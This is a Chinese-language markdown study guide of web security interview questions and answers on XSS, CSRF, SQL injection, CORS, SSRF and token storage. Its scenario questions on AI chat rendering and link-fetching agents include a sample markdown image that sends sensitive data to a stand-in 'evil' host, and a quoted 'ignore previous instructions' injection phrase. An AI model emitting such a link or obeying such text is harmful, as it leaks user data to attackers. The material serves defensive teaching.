Files
zhuangang/topics/cs/web-security/interview.md
T

4.3 KiB
Raw Blame History

id, title, type, domain, stack, tags, level, related, week
id title type domain stack tags level related week
cs.web-security.interview Web 安全面试题 interview cs
web-security
XSS
CSRF
SQL 注入
CORS
SSRF
面试
basic
cs.web-security.common-attacks
7
14
16

Web 安全面试题

基础

【基础】XSS 有哪几类?怎么防御?

参考答案:存储型(恶意内容存入数据库,展示给其他用户)、反射型(通过 URL 参数立即反射)、DOM 型(前端脚本把不可信数据写入 DOM)。防御:按上下文输出转义、富文本白名单清洗、避免 innerHTML 类 API、CSP、Cookie HttpOnly。

追问:Vue / React 默认安全吗?→ 文本插值默认转义;v-html、dangerouslySetInnerHTML、动态 href(javascript: 协议)仍有风险。

【基础】CSRF 的原理和防御?

参考答案:利用浏览器自动携带 Cookie 的特性,在恶意网站上向目标站点发起请求。防御:SameSite Cookie、CSRF Token(同步令牌或双重提交)、校验 Origin / Referer、状态变更不用 GET。

追问:用 Authorization 请求头传 Token(不用 Cookie)还有 CSRF 问题吗?→ 基本没有,因为浏览器不会自动附加该请求头;但 Token 存储在前端,要防 XSS。

【基础】为什么参数化查询能防 SQL 注入?

参考答案:SQL 结构和数据分开发送,数据库先编译语句结构,参数只会被当作值,不会改变语义。

追问:排序字段(ORDER BY)能参数化吗?→ 标识符一般不能参数化,要用白名单映射。

进阶

【进阶】CORS 是什么?常见的错误配置有哪些?

参考答案:浏览器的同源策略默认禁止脚本读取跨源响应,CORS 让服务器通过响应头声明允许哪些来源读取。错误配置:任意来源 + 允许凭证、原样反射请求的 Origin、白名单使用不严格的匹配(例如只检查后缀)。

追问:预检请求什么时候发生?→ 非简单请求(例如 Content-Type: application/json、自定义请求头、PUT / DELETE)时,浏览器先发 OPTIONS 询问。

【进阶】什么是 SSRF?怎么防?

参考答案:让服务器替攻击者访问其本不该访问的地址(内网服务、云元数据)。防御:协议白名单、解析域名后检查 IP 是否公网、禁止或逐跳校验重定向、固定使用校验过的 IP 连接(防 DNS 重绑定)、网络层限制出口。

追问:为什么只检查 URL 中的主机名不够?→ 公网域名可以解析到内网 IP;IP 有多种写法(十进制、IPv6 映射);重定向可以跳到内网。

参考答案:localStorage:不受 CSRF 影响,但 XSS 可以直接读取;HttpOnly Cookie:脚本读不到,但要防 CSRF(SameSite + Token)。多数场景推荐 HttpOnly + Secure + SameSite 的 Cookie,加 CSRF 防护和 CSP。

追问:Token 泄露了怎么办?→ 短有效期 + 刷新令牌、服务端维护吊销列表或会话版本号。

场景题

【场景题】AI 客服的回答以 Markdown 渲染,怎么防止 XSS?

参考答案:渲染器禁用原始 HTML,渲染后用白名单清洗,链接只允许 http(s),图片限制域名(防止数据外带),CSP 禁止内联脚本,Cookie HttpOnly;写成自动化测试。详见AI 应用安全评审。

追问:为什么图片也要限制?→ 攻击者可以通过提示词注入让模型输出 ![](https://evil/?data=敏感内容),浏览器加载图片时就把数据发出去了。

【场景题】你的 Agent 可以“访问用户提供的链接”,评审时要考虑什么?

参考答案:SSRF(内网和元数据地址)、重定向、DNS 重绑定、响应大小和超时、内容中的提示词注入(抓回来的网页可能包含“忽略之前的指令”)、隐私(是否允许访问带有个人信息的链接)。措施:URL 校验 + 出口代理 + 内容作为不可信数据处理 + 工具调用审计。

追问:怎么证明防住了?→ 用攻击载荷清单(内网 IP、各种 IP 写法、重定向到内网、非 http 协议)写成测试,在 CI 中运行,见示例测试。